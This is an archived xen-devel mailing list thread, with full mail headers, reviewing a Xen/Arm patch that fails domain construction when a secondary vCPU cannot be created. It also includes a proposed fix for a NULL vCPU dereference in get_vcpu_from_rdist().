	VU9UwTo01rI6dc+6a5HcktG1Fu734rE3qkf9me6DVQhCmgC5yUmGdO1DqXoa1eZdm/Su7zwE2voKnIafrEEZuZVrcYLGB0tXMFDbLRggjLBNDNvd/eQxR1Qz9vfN5CC1poygx5iCdS+baRqinol+avrxw/uWhak+NX84d/xRe7BLU7HVTZl7orJfH4ZzvybvprSOADSYGa4of1zVl28QHPZOT0BvRxCvhQ4nawbLDXPMX7GVwJROpf5m/Hom/iJpYv8fbhiQ6SI3EYDHpy9j/UK6qgs6sDyEGdXJdbKwMkg6w/vt2duKjaHLNniRhmV2gEQTqJRNJjxpvxa0kFfXUxIj+XR/8IFLDQoRt9Xp4dSw6jE0hF5hAfYy4+fTW+wbmc2/Fi6kv9mcbnJ906z6xK/pzhoA2Usm2QB1i3SLu15OKrFkiMIYlm7ZoBva2MUw
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 11:27:29.1936
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ce7bcaec-989c-4ff8-acbe-08dedce3e51b
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SN1PEPF00036F42.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR12MB6011
X-purgate-ID: tlsNG-16d1c6/1783510055-C692368D-C6ECEBEF/0/0
X-purgate-type: clean
X-purgate-size: 3081


On 08/07/2026 12:20, Orzel, Michal wrote:
>
> On 08-Jul-26 11:06, Halder, Ayan Kumar wrote:
>> Hi MIchal,
>>
>> Nice catch. Few questions.
>>
>> On 08/07/2026 08:49, Michal Orzel wrote:
>>> construct_domain() creates the secondary vCPUs in a loop, but on a
>>> vcpu_create() failure it only prints a message and breaks out of the
>>> loop returning success. As a result the domain can be constructed
>>> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
>>> below max_vcpus.
>>>
>>> When the guest probes the redistributor of a vCPU that was never created,
>> Shouldn't the guest check how many vCPUs were created and probe the ones
>> that were created ?
> See below about DTB.
>
>>> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
>>> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.
>>>
>>> Return an error instead of breaking out of the loop. Both callers
>>> (construct_domU() and construct_hwdom()) already propagate a negative
>>> return value and fail domain construction, which is the correct
>>> behaviour: a domain that cannot provide the requested number of vCPUs
>>> should not be brought up.
>> I see your reasoning.
>>
>> Alternatively it can be a design choice. Xen does not commit to create
>> the max_vcpus that was requested.
> Everything can be a design choice but this one wouldn't be wise, would it?
> All in all, we (Arm maintainers) aim at following the contract to fail as soon
> as possible if the user request cannot be satisfied.
Can we remove the redundant DTB node so that the contract is maintained 
? IMHO , stopping a domain creation seems severe if the other vCPUs were 
created.
>
>> If Xen is unable to create any vCPU, it should abort domain creation.
>>
>> If Xen creates lesser number of vCPUs than requested by max_vcpus, it
>> can just print a warning and carry on.
> No. Xen creates domain DTB before creating vCPUs, so Xen advertises something
> that is not true. Here, Xen would create a DTB with e.g. 2 vCPUs while only 1
> was created.

I agree that this is a problem.

- Ayan

>
> ~Michal
>
>> In that case it should be the guest's responsibility to check the number
>> of CPUs that it has.
>>
>> - Ayan
>>
>>> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
>>> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
>>> ---
>>>    xen/arch/arm/domain_build.c | 2 +-
>>>    1 file changed, 1 insertion(+), 1 deletion(-)
>>>
>>> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
>>> index 550617f152bb..b46574fd32aa 100644
>>> --- a/xen/arch/arm/domain_build.c
>>> +++ b/xen/arch/arm/domain_build.c
>>> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>>>            if ( vcpu_create(d, i) == NULL )
>>>            {
>>>                printk("Failed to allocate d%dv%d\n", d->domain_id, i);
>>> -            break;
>>> +            return -EINVAL;
>>>            }
>>>    
>>>            if ( is_64bit_domain(d) )


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:30:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:30:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356889.1611407 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQUN-0003HE-MO; Wed, 08 Jul 2026 11:30:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356889.1611407; Wed, 08 Jul 2026 11:30:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQUN-0003H7-JY; Wed, 08 Jul 2026 11:30:51 +0000
Received: by outflank-mailman (input) for mailman id 1356889;
 Wed, 08 Jul 2026 11:30:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whQUL-0003H1-Ra
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:30:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQUL-0084yQ-48
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:30:49 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4e34db-2eae-0a2a0a5409dd-0a2a450ba77e-42
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:30:48 +0200
Received: from [52.101.48.62]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4e34e7-ac48-0a2a450b0019-3465303ebb9b-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:30:48 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by DSSPR03MB989212.namprd03.prod.outlook.com (2603:10b6:8:377::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 11:30:45 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Wed, 8 Jul 2026
 11:30:45 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=zMhYm573VF981Z8D15LuVQLt33bfHVzXY1Uhc/AwIsEZ9PVdJZ0sVCnYoU9Odz2Oe9dOud8B/uUe6RJMF7gfnAlamWqFZlueUujX45yATFM+OOuqtk4rTNIoLE1tiQ6vbC6TnLX/3h1HJU/krb0MOAqPhyc7ueKxYDpKlT3UCC3Ok5xAAM5+NoP2SxlApzqW0VD3kVOFw5m2PVOlNikhS7hujPOy/LatwUHzOmIwzgEHW+zyWZVGgGk8k357chUbHfdE7hzkKCO+v//BNwMI7fuWmBZetWmx79XIPMMCq8uDpvkwIPOvwRhgSkiHQatlOuXRhXSr0OuLyyhr+WFXQA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=m8mImnlolV6DBbysK5xAgct6B/dWPRGvnSNtWNOB8vM=;
 b=lmyBFxew4+8tyy5XPJyJUuFo9FIkkxM7GAW19siOybCofDgzp4k0Un19lEf61kH7ybC1GCYVL0P6uxSqJMqkqDuHgaoc9hc5GyXYscyQIE3ZZeRcnlJ4wK0WtEZMYxC250wIE3SqksELUE73vsUdFY+n50NdyJyL3Q8espsS5uxY9QlDMwspJTrl4nUUXeuR919N977ztTYVFnJf6GBGA9OAD2S6V8lXoF3g7PgCvBgbATZ/+ilwibWbq4hYPYbUSNFOU/iJAjD/wO2IbEmCVuRgBDTxpMZjPJZLRLQNvkdgGbH2KqF7wtdhEX0OjxznErlWL4XCe14tPlhFFML8Pw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=m8mImnlolV6DBbysK5xAgct6B/dWPRGvnSNtWNOB8vM=;
 b=jgXRXArCZNR7YxHO4bAxW1Ux/Lf55NjvVNUZRk6mNf1luGTNjD+UeONZjwpa6V5kK0Iaxh79kidI9c58yhXzeeBKqFHu9Xp4RQ7RZzSzfykAR43Y6q1H50BXKZxbVC1LhNVmJmTtsz844xfMy1hceSGIwlkoa4HeO03u1pOOXnk=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <1cce5057-3f17-4144-acc7-b343718c431f@citrix.com>
Date: Wed, 8 Jul 2026 12:30:41 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>, ayan.kumar.halder@amd.com
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: Michal Orzel <michal.orzel@amd.com>, xen-devel@lists.xenproject.org
References: <20260708074919.33381-1-michal.orzel@amd.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2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bDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260708074919.33381-1-michal.orzel@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0265.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:194::18) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|DSSPR03MB989212:EE_
X-MS-Office365-Filtering-Correlation-Id: ab050045-297a-458c-99f5-08dedce459ff
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|376014|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	b3aK35UW600+VqHemFU4eO38p3tGVi7ObWtRMgjQ/P9Z/KvWMVkqDbxcddtEzm6rINfOKMBm7Y5ywXM3Yw+i8Ph0vVVYrO8qCqLtGQ4p/y+i5tzetTTZYTynnr7RNzR9WEY1uWfupUlJm4KUb0tJ4B4DHQt8kGvknMiLTbsu8EabVNqTWT3jlbxCawl7GGGBwZTgNJQwTiYLdB8FWnvE7V8La2f9QxwTVN6TIyznGqRGvI2foULHSw6FgtUcm+NtID9Muj/48mskU3me/6PVMoEHERXqvpAFiSlJpNkQP8bGcw4EZbN5HDufiCt75pH3N40fWHT3ylGAS8S7zjfw3FjDqLcEewR2Xn7zu5lpM8DFAYTBwHSHl2sn/DBxblEiOdGoNrr7pw2dajCPeJoIbnjDqmtmTJNno95spqH9BGW0poJDsi9x+FkmpwCIa7bzm9QGM549TjO3sSSM6gZJI9BpxABu9h+f2nPZQoL0zf1PGzO83IWUoDvSOABt3W+NGVWqFqBYY0BPWPEd9yGfrPRHTaNBFd8jFLMnLTtoCdYp4PjNAmzA6kvgj4Gy1Yn8DOxrlvutB3H4+1P8l25lPMVX9I0tvYTFG3J7HHLTBcLMYWLUMpqr5hcLLElv5ZjrItEnUMDwc8ARZhYsi4vGtkcGLU/qBMS8+VqEut2PG5k=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(376014)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?d3hOWGpKUUgyd3laMi9heXd2ak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8?B?MWlTNFZKWllHZnhtMHdUM3BXdkNCWlk1bTJHU21WSTcrWE1pZHloalVzZXVU?=
 =?utf-8?B?ZTVveXI5YU95TFBjbVpzOHJsTENFd0Q2amxNWjhGYWJQajJVeDFhazNXS3RZ?=
 =?utf-8?B?cmFMS2hrbklVOGdtVzh3dzlUYWJ0T0pkbUFFMG14ZUZRTzlkNE4rQUNPMVNv?=
 =?utf-8?B?bkZlQlJNNkFrWHB1WSs1Z09KVjVTR1VBcDNCbTQ0cEpKUnZGMk90dlhaUGE0?=
 =?utf-8?B?bTZZQk1XL1VYN0puU3BSRzJsai9SeXRtNXVxWlhTeWxnam4wc2Z0WVpSTlpI?=
 =?utf-8?B?azVFTlpYM2U3c0NjQXhib0JqSXkxT1NWNnJ5ckI1UlVRUVNOeFpNUW4rMGVC?=
 =?utf-8?B?QkVlRzhjQUppSmpmQlUwckFXTk95QStqVnhNVGxseGF5bThTN3JNWEpqdjg4?=
 =?utf-8?B?azEyN1NQQnBvcytQS2RaT05saHk1UTRxUk5rM0VkSEJFRkFadVRVK3EvNDYz?=
 =?utf-8?B?eDNBWnpMTEF3a2wwaGRVVjdYNUE3dkJMaUxIZHJXV21uNWZGcUphUGE2b3dY?=
 =?utf-8?B?ZFRhNkYydE1uVWZzVCtEdFptNE4xbFc2WkRPd2ZNa2N2WC8zcDBOdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ab050045-297a-458c-99f5-08dedce459ff
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 11:30:45.5069
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: ayUxurP/oTd/rcbpmbr8C0GkV00RhWOlLvJ0x1J5sAxRc2KlNRGGavUF3dnfgcCnmU5JuYkQLAhh0xoaM8hO/3VqaKNVnaFDMkOzeoasCYU=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DSSPR03MB989212
X-purgate-ID: tlsNG-42698a/1783510248-3B732220-484DD90C/0/0
X-purgate-type: clean
X-purgate-size: 3038

On 08/07/2026 8:49 am, Michal Orzel wrote:
> construct_domain() creates the secondary vCPUs in a loop, but on a
> vcpu_create() failure it only prints a message and breaks out of the
> loop returning success. As a result the domain can be constructed
> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
> below max_vcpus.

I'd suggest phrasing this as "partially constructed".Â  "holes" isn't
really what's going on, given the linear nature of allocation.

Because of the object visibility, and because constructing vCPUs isn't
atomic, all code needs to cope with d->vcpu[] having no, some or all of
d->max_vcpus constructed.

>
> When the guest probes the redistributor of a vCPU that was never created,
> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.

That's unsafe, especially as vcpu_id is calculated from an MMIO access.

diff --git a/xen/arch/arm/vgic-v3.c b/xen/arch/arm/vgic-v3.c
index c1c4d6f71ea8..c01cc596d593 100644
--- a/xen/arch/arm/vgic-v3.c
+++ b/xen/arch/arm/vgic-v3.c
@@ -1111,10 +1111,10 @@ static struct vcpu *get_vcpu_from_rdist(struct
domain *d,
Â  Â  Â unsigned int vcpu_id;
Â 
Â  Â  Â vcpu_id = region->first_cpu + ((gpa - region->base) / GICV3_GICR_SIZE);
-Â  Â  if ( unlikely(vcpu_id >= d->max_vcpus) )
-Â  Â  Â  Â  return NULL;
Â 
-Â  Â  v = d->vcpu[vcpu_id];
+Â  Â  v = domain_vcpu(d, vcpu_id);
+Â  Â  if ( !v )
+Â  Â  Â  Â  return NULL;
Â 
Â  Â  Â *offset = gpa - v->arch.vgic.rdist_base;
Â 

Do you want me to submit this separately?


>
> Return an error instead of breaking out of the loop. Both callers
> (construct_domU() and construct_hwdom()) already propagate a negative
> return value and fail domain construction, which is the correct
> behaviour: a domain that cannot provide the requested number of vCPUs
> should not be brought up.
>
> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
> ---
>  xen/arch/arm/domain_build.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
> index 550617f152bb..b46574fd32aa 100644
> --- a/xen/arch/arm/domain_build.c
> +++ b/xen/arch/arm/domain_build.c
> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>          if ( vcpu_create(d, i) == NULL )
>          {
>              printk("Failed to allocate d%dv%d\n", d->domain_id, i);
> -            break;
> +            return -EINVAL;
>          }
>  
>          if ( is_64bit_domain(d) )

On x86, we explicitly tolerate a failure to build all of dom0's CPUs, if
at least one did get constructed.Â  This is to increase the chances that
the server can boot and at least let an admin in to look at things.

However, I can see why such a behaviour is not wanted in a "single
pre-packaged system" as used by automotive.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:32:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:32:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356896.1611417 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQVe-0003kk-V6; Wed, 08 Jul 2026 11:32:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356896.1611417; Wed, 08 Jul 2026 11:32:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQVe-0003kd-SB; Wed, 08 Jul 2026 11:32:10 +0000
Received: by outflank-mailman (input) for mailman id 1356896;
 Wed, 08 Jul 2026 11:32:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whQVc-0003kT-Kl
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:32:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQVb-00GP55-7A
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:32:07 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3530-bab6-0a2a0a5309dd-0a2a4506d33c-8
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:32:06 +0200
Received: from [40.107.200.53]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3533-08de-0a2a45060019-286bc835e14b-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:32:04 +0200
Received: from BL1PR13CA0075.namprd13.prod.outlook.com (2603:10b6:208:2b8::20)
 by SJ2PR12MB9162.namprd12.prod.outlook.com (2603:10b6:a03:555::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 11:31:59 +0000
Received: from BL6PEPF0001AB57.namprd02.prod.outlook.com
 (2603:10b6:208:2b8:cafe::67) by BL1PR13CA0075.outlook.office365.com
 (2603:10b6:208:2b8::20) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.9 via Frontend Transport; Wed, 8
 Jul 2026 11:31:58 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BL6PEPF0001AB57.mail.protection.outlook.com (10.167.241.9) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 11:31:58 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 06:31:57 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 06:31:54 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=O9eougur/b70K34LzG5XsyhLPO2De1Y1x3Ax7OsNZ5y44ItY2NB38PS0BU3KmL3k1ZxQZk+HEtABQ051Bje9nXp3Ks8FG1P2oLTwwBC9trFSaRH85NmmRZ9Y5Dpsyx+/LjhixLfsHBMeIEIznb1NSC8v7JItyos9+9eoMfWEYyEPOGw04wi01apAwTcxde4TIzFsIMhvsLYw0RzOvEZ2yOFwaPTbtM3a/WoznMSgMPyMZ2azoxmsB8DTVrwF2ryfRCMOBAVaNKrUNJTMaFpYkEAXghuA4L46q2+qjFgjcIcqNiaQXORFy90KNUOwMS7rYH+8/IDUKLDGm9F/vfQiEQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=haBTB4PA7tuvCqObxfeOJ+nEpdCHen4Fqq11ICl2T6g=;
 b=BW8+pyIanZ8adzlJ8LQI4U10zRN+EaPSyPVVWFcuGsYEzYb9gDEOjHuyznH7gvWVuTmq5AqeA6DKSdvl/SF6Gh1CkUP12QmhEwBT32Pp4Ak7NEFtdp8Q2KfXQbk4PshczIGH1a37bAl5NEv2FkFdErIvA4/o4+B1aLRE0ZBY/Al25p83ogytaGtx9TQK4oCgfyTf7hQKj3M1EzfhLFNq6+H/5w3KinijvDbjgWIGPUsqm96UAKIK0/bLg9SEsWYDDdE+F0+WLf/9JkN6uPjs34s3aeVCD8a7hVQ6FZQYQEiKLOzRp7FMrCdI4N1LbzcnkbNq9Ww0fApMdCZbOnMZHw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=haBTB4PA7tuvCqObxfeOJ+nEpdCHen4Fqq11ICl2T6g=;
 b=E1U4P9Kimy//fy/5fysPMN+pn6L3lKGF5LcGEPYSsdpQ8lYD3fyAQkdMPYKHZ1JGftmeQ+3fRNkCsiSWK1EjCOcVFNOM6u9b8Xc7rhcrg/cBHWZYrluNohf1vnmc/V9IeWd/V734ky55I2Dkxvq51MKjcfJ4kQeoNyk68bbLIz8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <d3ef582c-93bf-46d2-b1be-3a75789b8ba0@amd.com>
Date: Wed, 8 Jul 2026 13:31:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: "Halder, Ayan Kumar" <ayankuma@amd.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>
References: <20260708074919.33381-1-michal.orzel@amd.com>
 <197f5208-b9ca-424d-a7e6-0b872e6511f1@amd.com>
 <2eabc87d-5694-4874-b204-2fe60d5368bc@amd.com>
 <93dabc8b-7012-4662-b50c-d47b0b6ad260@amd.com>
